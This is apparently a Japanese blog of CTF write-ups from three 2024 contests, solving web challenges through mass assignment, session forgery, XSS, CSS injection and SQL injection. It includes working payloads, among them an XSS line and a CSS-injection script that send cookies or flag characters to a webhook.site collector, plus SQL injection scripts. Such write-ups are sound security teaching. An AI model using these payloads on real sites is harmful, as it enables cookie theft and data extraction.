st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

DEF CON CTF Qualifier 2024 writeup

5/4 - 5/6という日程で開催された。undef1nedで参加して11位。私はGilroyでしか貢献できていないが…

リンク:


[Exploitation 100] Gilroy (39 solves)

(URL)

ソースコードはなし。

どのようなアプリか

与えられたURLにアクセスして、チームごとに割り当てられたチケットを入力する。これでundef1ned向けの環境が用意されるっぽい。チームごとの管理メニューは次の通りで、今回攻撃する対象であるフォーラムへのリンクや、このフォーラムのDBを初期化するリンクがある。

フォーラムは次のような雰囲気。なかなか凝っている。

ページの下部には Administered by: … という項目があり、jasper 8892396092 というユーザが管理者であることがわかる。このユーザとしてログインするか、もしくは新たに管理者であるユーザを作ればよいのだろうか。

適当なユーザで登録・ログインしてみる。group という項目がユーザの権限というか、ロールを意味しているのだろうけれども、これは normal となっている。なお、jasper 8892396092groupadmin だ。

フォーラムで新たなスレッドを立てたり、スレッドに対して返信したりもできる。なお、スレッドを立てる際にGIF画像を選んでタグとすることもできるが、BAN ME など特定のタグを指定するとBANされてしまう。BANされるとユーザの groupbanned となり、スレッドを建てられなくなってしまう。

group を好きな値にする

まず、管理者であるユーザを乗っ取る方法はないか考える。スレッドや返信でXSSができないかと考えたが、<s>test</s> のようなタイトル・内容で投稿しても、特殊な文字がエスケープされてしまう。特定のタグを使用するとBANされるけれども、このとき管理者が内容のチェックのために巡回してくるのでは、またその際の管理者の画面ではXSSが発生しているのではと考えたが、残念ながらそんなことはなかった。

SQLiが起こっていそうな雰囲気もない。管理者のパスワードのクラックも考えたが、さすがにもっとまともな解法であってほしいと考え、試すのは後回しにした。管理者であるユーザの乗っ取りは一旦諦めて、新たに管理者であるユーザを増やす方法はないか考える。

Mass Assignmentのように、本来フロントエンド側では存在していないパラメータを増やすことで、バックエンド側で受け付けてくれるのではないかと考えた。ユーザ登録時に <input name="group" type="hidden" hidden="" value="hoge">group というパラメータを増やしてみる。すると、作成されたユーザの group が空欄となった。本来 normal が入るべきところ、変な値に書き換えることができているらしい。

group というカラムに直接 normaladmin のような文字列が入っているのではなく、それらに対応する数値が入っているのではないかと考える。<input name="group" type="hidden" hidden="" value="0"> に変えると banned という、本来はBANされたユーザに付与される group になっていた。

<input name="group" type="hidden" hidden="" value="2"> では、次のように "An admin already exists" というエラーメッセージが表示された。2admin に対応するらしいが、すでに jasper 8892396092 という admin が存在しているために登録できないようだ。

管理者になる

ここからどうするか。まず jasper 8892396092 を管理者の座から引きずり下ろすことはできないかと考える。スレッドの投稿時に先程と同じ要領で投稿者のIDを書き換えることで、jasper 8892396092 になりすますことができ、またこのときにBANされるタグを使用することで、jasper 8892396092 をBANさせる(つまり、groupadmin から banned に変更させる)ことができるのではないかと考えた。しかしながら、poster, author, uid, userid, user_id, …と思いついたパラメータ名を試したものの、どれもダメだった。

わざわざフォーラムのDBを初期化できるようになっていることが気になる。DBの初期化後にしばらく管理者がいない時間がもしあれば、その間にrace conditionによって、先程の方法で jasper 8892396092 より先に管理者になれるのではないかと考えた。しかしながら、何度か試しても不発だった。

ユーザ登録時の group の値の検証と、その後のログイン等での検証とで、どの値を admin とするかという処理が異なるのではないかと考える。つまり、登録時には admin ではないとされるものの、それ以降の処理では admin とされるような値があるのではないかと考えた。<input name="group" type="hidden" hidden="" value="0002">0002 という値を group に突っ込んでみたところ、管理者になることができた。

Admin というリンクがトップページに増えている。これをクリックするとフラグが得られた。

Grey Cat The Flag 2024 Qualifiers writeup

4/20 - 4/21という日程で開催された。BunkyoWesternsのぽよ~~~~として参加して3位。プレースホルダのつもりで適当なユーザ名にしたのだけれども、後から変えようとしたら "Name changes are disabled" と怒られて困った。

Webを全完した。Fearless ConcurrencyとNo Sql Injectionが特に面白かった。

リンク:


[Web 100] Baby Web (183 solves)

I just learnt how to design my favourite flask webpage using htmx and bootstrap. I hope I don't accidentally expose my super secret flag.

(URL)

Author: Junhua

添付ファイル: dist-baby-web.zip

次のようなソースコードが与えられている。セッションに is_admin かどうかの情報が保存されていて、もし is_adminTrue ならばフラグを得られそうだ。ただし、コード中には is_adminFalse に設定する処理しかない。

Flaskのデフォルト設定ということでクライアントセッションが使われるはずだけれども、その署名に使われる秘密鍵が app.secret_key = "baby-web" から分かってしまう。これを使ってセッションを偽造しよう。

import os
from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")


@app.route("/", methods=["GET"])
def index():
    # Set session if not found
    if "is_admin" not in session:
        session["is_admin"] = False
    return render_template("index.html")


@app.route("/admin")
def admin():
    # Check if the user is admin through cookies
    return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))

### Some other hidden code ###


if __name__ == "__main__":
    app.run(debug=True)

次のようなスクリプトを使ってセッションを偽造する。

from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"

@app.route("/", methods=["GET"])
def index():
    session["is_admin"] = True
    return 'ok'

if __name__ == "__main__":
    app.run(debug=True)

できあがったセッションをCookieに設定して /admin にアクセスするとフラグが得られた。

grey{0h_n0_mY_5up3r_53cr3t_4dm1n_fl4g}

[Web 100] Greyctf Survey (154 solves)

Your honest feedback is appreciated :) (but if you give us a good rating we'll give you a flag)

(URL)

Author: jro

添付ファイル: dist-greyctf-survey.zip

次のようなソースコードが与えられている。点数を投票すると元々 -0.42069 という値が入っている score に加算される。このスコアが 1 を超えるとフラグをくれるけれども、投票できる点数は -1 より大きく、1 より小さくなければならない。どうしろと。

よく見ると、typeof vote != 'number' と投票した点数が Number であることをすでに確認しているのに、その後わざわざ parseInt にかけている。数値を丸めたいのなら Math.floor なり Math.round なりを使えばよいのに、なぜわざわざ parseInt を使うのだろう。

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const port = 3000

const config = require("./config.json");

app.use(bodyParser.json())

app.use("/", express.static("static"))

let score = -0.42069;

app.get("/status", async (req, res)=>{
    return res.status(200).json({
        "error": false,
        "data": score
    });
})

app.post('/vote', async (req, res) => {
    const {vote} = req.body;
    if(typeof vote != 'number') {
        return res.status(400).json({
            "error": true,
            "msg":"Vote must be a number"
        });
    }
    if(vote < 1 && vote > -1) {
        score += parseInt(vote);
        if(score > 1) {
            score = -0.42069;
            return res.status(200).json({
                "error": false,
                "msg": config.flag,
            });
        }
        return res.status(200).json({
            "error": false,
            "data": score,
            "msg": "Vote submitted successfully"
        });
    } else {
        return res.status(400).json({
            "error": true,
            "msg":"Invalid vote"
        });
    }
})

app.listen(port, () => {
    console.log(`Survey listening on port ${port}`)
})

JavaScriptでは 3e-100 のような指数表記も使われる。parseInt の呼び出し時には、引数がたとえ数値であっても必ず文字列に変換される、つまり parseInt(3e-100)parseInt('3e-100') は等価だけれども、このとき parseInt は頭の数字の部分だけを使って数値に変換しようとする。つまり、その返り値は 3 となる。parseInt での数値の丸めは vote < 1 && vote > -1 というチェックの後なので、このチェックは通過しつつ score には 3 が足されるということになる。

ということで、3e-100 点を投票するとフラグが得られた。

$ curl http://(省略)/vote -H "Content-Type: application/json" -d '{"vote":3e-100}'
{"error":false,"msg":"grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}"}
grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}

[Web 100] Markdown Parser (114 solves)

I built this simple markdown parser. Please give me some feedback (in markdown), I promise to read them all. Current features include: bold, italics, code blocks with syntax highlighting!

(URL)

Author: ocean

添付ファイル: dist-markdown-parser.zip

Markdownが使えるメモ帳だ。作ったメモはadmin botに通報して、Chromiumで巡回させることができる。このとき、admin botはCookieにフラグを携えてやってくる。このCookieは httpOnly ではないから、XSSに持ち込めれば document.cookie を抽出して外部に抜き出すことでフラグが得られるはずだ。

Markdownのパースと変換は、次の通りライブラリを使わず自前で実装されている。基本的には escapeHtml でエスケープされてしまうけれども、コードブロックのときだけは、指定した言語名がエスケープされず class 属性に突っ込まれる。ここでXSSができそうだ。

function parseMarkdown(markdownText) {
    const lines = markdownText.split('\n');
    let htmlOutput = "";
    let inCodeBlock = false;

    lines.forEach(line => {
        if (inCodeBlock) {
            if (line.startsWith('```')) {
                inCodeBlock = false;
                htmlOutput += '</code></pre>';
            } else {
                htmlOutput += escapeHtml(line) + '\n';
            }
        } else {
            if (line.startsWith('```')) {
                language = line.substring(3).trim();
                inCodeBlock = true;
                htmlOutput += '<pre><code class="language-' + language + '">';
            } else {
                line = escapeHtml(line);
                line = line.replace(/`(.*?)`/g, '<code>$1</code>');
                line = line.replace(/^(######\s)(.*)/, '<h6>$2</h6>');
                line = line.replace(/^(#####\s)(.*)/, '<h5>$2</h5>');
                line = line.replace(/^(####\s)(.*)/, '<h4>$2</h4>');
                line = line.replace(/^(###\s)(.*)/, '<h3>$2</h3>');
                line = line.replace(/^(##\s)(.*)/, '<h2>$2</h2>');
                line = line.replace(/^(#\s)(.*)/, '<h1>$2</h1>');
                line = line.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>');
                line = line.replace(/__(.*?)__/g, '<strong>$1</strong>');
                line = line.replace(/\*(.*?)\*/g, '<em>$1</em>');
                line = line.replace(/_(.*?)_/g, '<em>$1</em>');
                htmlOutput += line;
            }
        }
    });

    return htmlOutput;
}

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

module.exports = {
    parseMarkdown
};

"></pre><script>navigator.sendBeacon('https://webhook.site/…', document.cookie)</script> というような言語名でコードブロックを作成する。これで出来上がったメモを通報すると、フラグが指定したURLにPOSTされた。

grey{m4rkd0wn_th1s_fl4g}

[Web 100] Beautiful Styles (70 solves)

I opened a contest to see who could create the most beautiful CSS styles. Feel free to submit your CSS styles to me and I will add them to my website to judge them. I'll even give you a sample of my site to get you started. Flag only consists of numbers and uppercase letters and the lowercase character f (the exception is the flag format of grey{.+})

(URL)

Author: Junhua

与えられたURLにアクセスすると、次のようにCSSの入力フォームが表示された。

<details> で隠されているのは、次のようなHTMLだ。投稿したCSSは /uploads/(ランダムなID).css に保存される。投稿後は /submission/(ランダムなID) にリダイレクトされるけれども、その内容は次のテンプレートにそのIDやらフラグやらが展開されたHTMLだ。

また、そのページにはadmin botへの通報フォームがある。通報するとbotがChromiumでアクセスしてくれる。通常展開されているフラグはダミーのものだけれども、botがアクセスする際には本物のフラグが入っているということだろう。なるほど、任意のCSSが設定できるので、これで input の値を外部に送信せよということらしい。CSS Injectionの要領でできそうだ。

<!DOCTYPE html>
<html lang="en">
  <head>

    <link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
  </head>
  <body>
    <div class="container">
      <h1 id="title">Welcome to my beautiful site</h1>
      <p id="sub-header">
        Here is some content that I want to share with you. An example can be
        this flag:
      </p>
      <input id="flag" value="{{ flag }}" />
    </div></body>
</html>

1文字ずつ抽出して外部に送信してくれるスクリプトを書く。1文字ずつ確定させていく。

import re
import string
import httpx

table = '{}' + string.ascii_uppercase + string.digits + 'f'
flag = 'grey{'

css = ''
for c in table:
    css += 'input[value^="FLAGCHAR"] { background: url("https://webhook.site/…?FLAGCHAR"); }\n'.replace('FLAG', flag).replace('CHAR', c)

print(css)

with httpx.Client(base_url='http://(省略)/', timeout=300) as client:
    r = client.post('/submit', data={
        'css_value': css
    })
    p = re.findall(r'href="(/submission/[^"]+)"', r.text)[0]
    client.post(p.replace('submission', 'judge'))

これでフラグが分かった。

grey{X5S34RCH1fY0UC4NF1ND1T}

[Web 171] Fearless Concurrency (49 solves)

Rust is the most safest, fastest and bestest language to write web app! The code compiles, therefore it is impossible for bugs! PS: This is my first rust project (real) 🦀🦀🦀🦀🦀

(URL)

Author: jro

添付ファイル: dist-fearless-concurrency.zip

Rustのソースコードが与えられている⚙ flag で検索してみると、/flag でいい感じの入力を与えるとフラグをくれることがわかる。ここで必要な入力は user_idsecret で、user_id で指定したユーザに対応する secret と入力した secret が一致していればフラグをくれるようだ。

    let app = Router::new()
        .route("/", get(root))
        .route("/register", post(register))
        .route("/query", post(query))
        .route("/flag", post(flag))
        .with_state(state);
// …
#[derive(Deserialize)]
struct ClaimFlag {
    user_id: u64,
    secret: u32
}

async fn flag(State(state): State<AppState>, Json(body): Json<ClaimFlag>)  -> axum::response::Result<String> {
    let users = state.users.read().await;
    let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?;

    if user.secret == body.secret {
        return Ok(String::from("grey{fake_flag_for_testing}"));
    }
    Ok(String::from("Wrong!"))
}

POST /register は次の通り。POSTだけれども特にパラメータは受け付けず、ランダムにユーザIDが生成され、それに対応するユーザの登録がなされる。

async fn register(State(state): State<AppState>) -> impl IntoResponse {
    let uid = rand::random::<u64>();
    let mut users = state.users.write().await;
    let user = User::new();
    users.insert(uid, user);
    uid.to_string()
}

なお、User という構造体の定義は次の通り。secret はランダムな32ビットの数値らしい。

#[derive(Clone)]
struct User {
    lock: Arc<Mutex<()>>,
    secret: u32
}

impl User {
    fn new() -> User {
        User {
            lock: Arc::new(Mutex::new(())),
            secret: rand::random::<u32>()
        }
    }
}

POST /query は次の通り。長いので整理する。ユーザからは user_idquery_string という2つのパラメータを受け付ける。まずMySQLで tbl_(ユーザID)_(ランダムな数値) というテーブルが作成され、これに指定した user_idsecret が挿入される。その後、SELECT * FROM info WHERE body LIKE '(query_stringで指定した文字列)' というSQLが実行される。そして、最初に作成されたテーブルが削除される。レスポンスに含まれるのは SELECT で返ってきた情報だ。なお、ユーザ情報は secret 含めRust側ですべて管理されていて、ここではMySQLに secret の情報がコピーされているに過ぎない。

SELECT 文で明らかにSQLiがある。ただ、' union select secret from (テーブル名);# のようにSQLiで secret を抜き出そうにも、ランダムに生成されているためにテーブル名を当てることができない。ならばと information_schema.tables からテーブル名を抜き出しても、直後にそのテーブルが削除されてしまう。どうしろと。

async fn query(State(state): State<AppState>, Json(body): Json<Query>) -> axum::response::Result<String> {
    let users = state.users.read().await;
    let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?;
    let user = user.clone();

    // Prevent registrations from being blocked while query is running
    // Fearless concurrency :tm:
    drop(users);

    // Prevent concurrent access to the database!
    // Don't even try any race condition thingies
    // They don't exist in rust!
    let _lock = user.lock.lock().await;
    let mut conn = state.pool.get_conn().await.map_err(|_| "Failed to acquire connection")?;

    // Unguessable table name (requires knowledge of user id and random table id)
    let table_id = rand::random::<u32>();
    let mut hasher = Sha1::new();
    hasher.update(b"fearless_concurrency");
    hasher.update(body.user_id.to_le_bytes());
    let table_name = format!("tbl_{}_{}", hex::encode(hasher.finalize()), table_id);

    let table_name = dbg!(table_name);
    let qs = dbg!(body.query_string);

    // Create temporary, unguessable table to store user secret
    conn.exec_drop(
        format!("CREATE TABLE {} (secret int unsigned)", table_name), ()
    ).await.map_err(|_| "Failed to create table")?;

    conn.exec_drop(
        format!("INSERT INTO {} values ({})", table_name, user.secret), ()
    ).await.map_err(|_| "Failed to insert secret")?;


    // Secret can't be leaked here since table name is unguessable!
    let res = conn.exec_first::<String, _, _>(
        format!("SELECT * FROM info WHERE body LIKE '{}'", qs),
        ()
    ).await;

    // You'll never get the secret!
    conn.exec_drop(
        format!("DROP TABLE {}", table_name), ()
    ).await.map_err(|_| "Failed to drop table")?;

    let res = res.map_err(|_| "Failed to run query")?;

    // _lock is automatically dropped when function exits, releasing the user lock

    if let Some(result) = res {
        return Ok(result);
    }
    Ok(String::from("No results!"))
}

' union select @x;# のように変数でテーブル名を指定できないかと試したところ、通常のクエリ失敗時に起こる Failed to run query は返ってこず、そもそも何もレスポンスが返ってこなかった。ログを見るとパニックが起こったようだ。つまり、以降の DROP TABLE は実行されず、テーブルはそのまま残っている。これなら、残ったテーブルの名前を取得して、さらにそれを元に secret を得ることも可能だ。

以下のようにスクリプトを書く。わざわざテーブル名の取得時に order by create_time desc limit 1 offset 1 とテーブルの作成日時でソートしているのは、ほかの参加者が作成して同じ方法で残したテーブルが大量にあるためだ。最近作成した順にソートすることで、自分の作成したテーブルが前に来る。

import time
import httpx

with httpx.Client(base_url='http://(省略)') as client:
    r = client.post('/register')
    uid = int(r.text)

    try:
        client.post('/query', json={
        'user_id': uid,
        'query_string': "' union select @x;#"
    })
    except:
        pass

    time.sleep(1)

    r = client.post('/query', json={
        'user_id': uid,
        'query_string': "' union select * from (select table_name from information_schema.tables where table_schema = database() order by create_time desc limit 1 offset 1)x;#"
    })
    table = r.text

    r = client.post('/query', json={
        'user_id': uid,
        'query_string': f"' union select * from {table};#"
    })
    secret = int(r.text)

    r = client.post('/flag', json={
        'user_id': uid,
        'secret': secret
    })
    print(r.text)

実行すると、フラグが得られた。

$ python3 s.py
grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}
grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}

[Web 995] No Sql Injection (5 solves)

I asked My friend Jason to build me a new e-commerce website. We just finished the login system and there's already bugs 🤦

(URL)

Author: jro

添付ファイル: dist-no-sql-injection.zip

ソースコードを見ていく。MySQLには次のような2つのテーブルが存在している。

create table tokens(token varchar(255));
create table users(
    id INT AUTO_INCREMENT PRIMARY KEY,
    name varchar(255),
    password varchar(255),
    admin bool
);

このWebサーバには主に次の3つのエンドポイントが存在している。

  • POST /api/login
  • POST /api/register/1
  • POST /api/register/2

それぞれ対応するコードを見ていこう。まずは /api/login だけれども、その名の通りユーザ名とパスワードを受け取って、users テーブルに対応するユーザが存在するか確認してくれるAPIだ。このとき、もし admintrue であればフラグを返してくれるらしい。なるほど、admintrue であるユーザを作成するのがゴールらしい。

const decode = s => atob(s?.toString() ?? 'Z3JleWhhdHMh');

app.post('/api/login', async (req, res) => {
    try {
        let { password, username } = req.body;
        password = decode(password);
        username = decode(username);

        const result = await query("select admin from users where name = ? and password = ?", [username, password]);

        if (result.length != 1) {
            return res.json({ err: "Username or password did not match" });
        }

        if(result[0].admin) {
            res.json({ "err": false, "msg": config.flag});
        } else {
            res.json({ "err": false, "msg": "You've logged in successfully, but there's no flag here!"});
        }

        // Prevent too many records from filling up the database
        await query("delete from users where name = ? and password = ?", [username, password]);
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

/api/register/1 は次の通り。受け取ったユーザ名に対応するトークンを tokens テーブルに挿入している。このトークンはJSONをBase64エンコードしたものだけれども、ここで name というプロパティには指定したユーザ名が、admin には false が設定されている。

app.post('/api/register/1', async (req, res) => {
    try {
        let { username } = req.body;

        username = decode(username);

        const token = btoa(JSON.stringify({
            name: username,
            admin: false
        }));

        await query("insert into tokens values (?)", [token]);

        res.json({ "err": false, "token": token });
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

最後に /api/register/2 を見ていく。今度はリクエストボディからパスワードとトークンを受け取っている。まず、tokens にそのトークンが存在しているか(つまり、/api/register/1 によって発行されたトークンであるか)をチェックしている。もしあれば、tokens からこのトークンを削除したうえで、トークンをJSONとしてパースした結果から nameadmin の2つのプロパティを、リクエストボディからはパスワードを持ってきて、users テーブルにこのユーザを登録する。

/api/register/1 では admin には false しか設定されないし、SQLiをしようにもちゃんとプレースホルダが使われていて、そのような隙はないように見える。どうすればよいだろうか。

app.post('/api/register/2', async (req, res) => {
    try {
        let { password, token } = req.body;
        password = decode(password);
        token = decode(token);

        const result = await query("select 1 from tokens where token = ?", [token]);

        if (result.length != 1) {
            return res.json({ err: "Token not found!" });
        }

        await query("delete from tokens where token = ?", [token]);

        const { name, admin } = JSON.parse(atob(token));

        await query("insert into users (name, password, admin) values (?, ?, ?)", [name.toString(), password, admin === true]);

        res.json({ "err": false });
    } catch (err) {
        console.log(err);
        res.json({ "err": true });
    }
})

ふと、MySQLのデフォルトの設定では文字列比較がcase-insensitiveに行われることを思い出した。これを利用すれば、たとえば /api/register/1 で発行されたトークンが eyJuYW1lIjoibmVrbyIsImFkbWluIjpmYWxzZX0= であったときに、28文字目の u を大文字の U に変換した eyJuYW1lIjoibmVrbyIsImFkbWlUIjpmYWxzZX0=/api/register/2 でトークンとして利用できてしまう。

これをBase64デコードすると {"name":"neko","admiT":false} であり、admin プロパティが admiT プロパティに変わってしまっている。/api/register/2 では、users に挿入されるユーザの情報はトークンに含まれているものが参照されているけれども、ここで参照するトークンは tokens テーブルに含まれているマスターデータではなく、このときリクエストボディから投げられた方のトークンだ。

この性質を利用して、いい感じに admin プロパティが true となっているJSONを作成したい。

次のような構造のJSONを考える。/api/register/1 において poyopoyopoyoXXX , XXXadminXXX :true, XXXhogXXX: XXX というようなユーザ名で登録するとこのようなJSONが作成され、それをBase64エンコードしたものがトークンとして発行されるはずだ。発行されたトークンについて、特定の文字の大文字小文字を変換することで、XXX がそれぞれいい感じに、正規表現でいう \s*"\s* へ化けるような文字はないだろうか。

そのような文字があれば、まずそれを使ったユーザ名で正規のトークンを発行し、特定の文字の大文字小文字を変換することで {"name":"poyopoyopoyo","admin":true,"hog":"","admin":false} に相当するJSONがBase64エンコードされたトークンが作れるはずだ。

{"name":"poyopoyopoyoXXX ,  XXXadminXXX :true,  XXXhogXXX:  XXX","admin":false}

ちゃんと考えて作ればよいのだけれども、面倒になってしまった。次のようにしてブルートフォースで探す。

let s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

function *f(s) {
    for (const a of s) {
        for (const b of s) {
            for (const c of s) {
                for (const d of s) {
                    yield a + b + c + d;
                }
            }
        }
    }
}

function *g(s) {
    for (const a of [s[0].toLowerCase(), s[0].toUpperCase()]) {
        for (const b of [s[1].toLowerCase(), s[1].toUpperCase()]) {
            for (const c of [s[2].toLowerCase(), s[2].toUpperCase()]) {
                for (const d of [s[3].toLowerCase(), s[3].toUpperCase()]) {
                    const t = a + b + c + d;
                    if (s !== t) {
                        yield a + b + c + d;
                    }
                }
            }
        }
    }
}

for (const a of f(s)) {
    let s1, s2, o1, o2;

    //s1 = `eyJuYW1lIjoicG95b3BveW9wb3lv${a}ICwg${a}YWRtaW4iOjEyM30=`;
    s1 = `eyJuYW1lIjoicG95b3BveW9wb3lvIiAg${a}ImFkbWluIjoxMjN9`;
    try {
        o1 = JSON.parse(atob(s1));
    } catch {
        continue;
    }

    for (const b of g(a)) {
        //s2 = `eyJuYW1lIjoicG95b3BveW9wb3lv${b}ICwg${b}IiwgImFkbWluIjoxMjN9`;
        s2 = `eyJuYW1lIjoi${b}b3BveW9wb3lvIiAgImFkbWluIjoxMjN9`;
        try {
            o2 = JSON.parse(atob(s2));
            console.log('[*]', a, b);
            break;
        } catch {
            continue;
        }
    }

    if (o2 == undefined) {
        continue;
    }

    console.log(s1, o1);
    console.log(s2, o2);
}

Base64では1文字あたり6ビットの情報を持つ。つまり4文字が元データの3バイトに対応するわけだけれども、それによって発生するズレも考える必要がある。次のように、どうしても微妙な位置に先ほどの例で言う XXX に対応する文字が入ってしまう場合も考慮しつつ、適切な文字を探していく。

// …

for (const a of f(s)) {
    let s1, s2, o1, o2, b;

    // swapcase後のものを導き出す = JSONの構造を破壊するものを探す
    s1 = `eyJuYW1lIjoicG95b3BveW9wb3lvQUFBICwgICBCQkJhZG1pbi${a}A6dHJ1ZSwgQUFBaG9nQUFBOiAgQUFBIiwiYWRtaW4iOjEyM30=`.replaceAll('QUFB', 'ICAi').replaceAll('BCQk', 'AJCS');
    try {
        o1 = JSON.parse(atob(s1));
    } catch {
        continue;
    }

    // swapcase前のものを導き出す
    for (b of g(a)) {
        s2 = `eyJuYW1lIjoicG95b3BveW9wb3lvQUFBICwgICBCQkJhZG1pbi${b}A6dHJ1ZSwgQUFBaG9nQUFBOiAgQUFBIiwiYWRtaW4iOjEyM30=`.replaceAll('QUFB', 'icai').replaceAll('BCQk', 'ajcs');
        try {
            o2 = JSON.parse(atob(s2));
            break;
        } catch {
            continue;
        }
    }

    if (o2 == undefined || Object.keys(o1).length === 4) {
        continue;
    }

    console.log('[*]', a, b);

    console.log(s1, o1);
    console.log(s2, o2);
}

最終的に、次の組み合わせができた。前者のユーザ名をまず /api/register/1 に投げて、トークンをデータベースに登録させる。生成されたトークンの一部の文字について、大文字と小文字を変換すると後者の偽トークンができあがる。これを /api/register/2 に投げると、ユーザ名は poyopoyopoyo 、パスワードはリクエストボディから指定したもの、admintrue であるユーザが作れるはずだ。

eyJuYW1lIjoicG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicaiIiwiYWRtaW4iOmZhbHNlfQ==
→ {"name":"poyopoyopoyo\x89Æ¢ ,  &£rÂadmin(£rÀ:true, \x89Æ¢hog\x89Æ¢:  \x89Æ¢","admin":false}
eyJuYW1lIjoicG95b3BveW9wb3lvICAiICwgICAJCSJhZG1pbiIJCSA6dHJ1ZSwgICAiaG9nICAiOiAgICAiIiwiYWRTaW4iOmZhbHNlfQ==
→ {"name":"poyopoyopoyo  " ,   \t\t"admin"\t\t :true,   "hog  ":    "","adSin":false}

できた。

$ curl http://(省略)/api/register/1 -d 'username=cG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicai'
{"err":false,"token":"eyJuYW1lIjoicG95b3BveW9wb3lvicaiICwgICajcsJhZG1pbiijcsA6dHJ1ZSwgicaiaG9nicaiOiAgicaiIiwiYWRtaW4iOmZhbHNlfQ=="}
$ curl http://(省略)/api/register/2 -d 'password=cG95b3BveW9wb3lv&token=ZXlKdVlXMWxJam9pY0c5NWIzQnZlVzl3YjNsdklDQWlJQ3dnSUNBSkNTSmhaRzFwYmlJSkNTQTZkSEoxWlN3Z0lDQWlhRzluSUNBaU9pQWdJQ0FpSWl3aVlXUlRhVzRpT21aaGJITmxmUT09'
{"err":false}
$ curl http://(省略)/api/login -d 'password=cG95b3BveW9wb3lv&username=cG95b3BveW9wb3lvICA='
{"err":false,"msg":"grey{fr13nd5h1p_3nd3d_w17h_my5ql}"}
grey{fr13nd5h1p_3nd3d_w17h_my5ql}

AmateursCTF 2024 writeup

4/6 - 4/10という日程で開催された。BunkyoWesternsで参加して6位。なかなかの開催期間の長さだった。


[Web 53] denied (856 solves)

what options do i have?

(URL)

添付ファイル: index.js

以下のようなソースコードが与えられている。GETでアクセスすればCookieにフラグがセットされるが、req.methodGET だとダメだ。どうしろと。

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

HEAD メソッドならばどうだろうかと思いついた。HEAD メソッドではレスポンスボディが得られないけれども、今回フラグはCookieにセットされるので問題ない。試してみると、確かにいけた。

Expressのルーティング周りのコードを見てみると、メソッドが HEAD である場合も GET でアクセスされた場合と同じ扱いをしているようだった。なるほど。

好きなHTTPメソッド発表ドラゴン

CTFが始まってすぐは問題サーバが不安定だったために、すぐにこのコマンドをリモートで試すことはできなかった。後で試そうと思ってほかの問題を見ていると、Satokiさんがいつの間にか通していた。

amateursCTF{s0_m@ny_0ptions...}

[Web 184] one-shot (282 solves)

my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge!

(URL)

添付ファイル: app.py, Dockerfile

以下のようなソースコードが与えられている。重要なのは次のエンドポイントだ:

  • /new_session にアクセスすると新たなセッションが生成され、ランダムなパスワードの入ったランダムなテーブルが作成される
  • /guess でこのパスワードを当てるとフラグが得られる
  • /search からパスワードを曖昧検索できるが、得られるのは最初の1文字のみ。自明なSQLiもある。ただし、この検索は一度しかできない
from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
    return """
    <h1>You have one shot.</h1>
    <form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
    """

@app.route("/new_session", methods=["POST"])
def new_session():
    id = os.urandom(8).hex()
    db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
    db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
    res = make_response(f"""
    <h2>Fragments scattered... Maybe a search will help?</h2>
    <form action="/search" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="query" value="">
        <input type="submit" value="Find">
    </form>
""")
    res.status = 201

    return res

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

@app.route("/guess", methods=["POST"])
def guess():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
    if result != None:
        return flag
    
    db.execute(f"DROP TABLE table_{id}")
    return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
    original = getattr(error, "original_exception", None)
    if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
        return "that table is gone. <a href='/'>Go back</a>"
    return "Internal server error"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

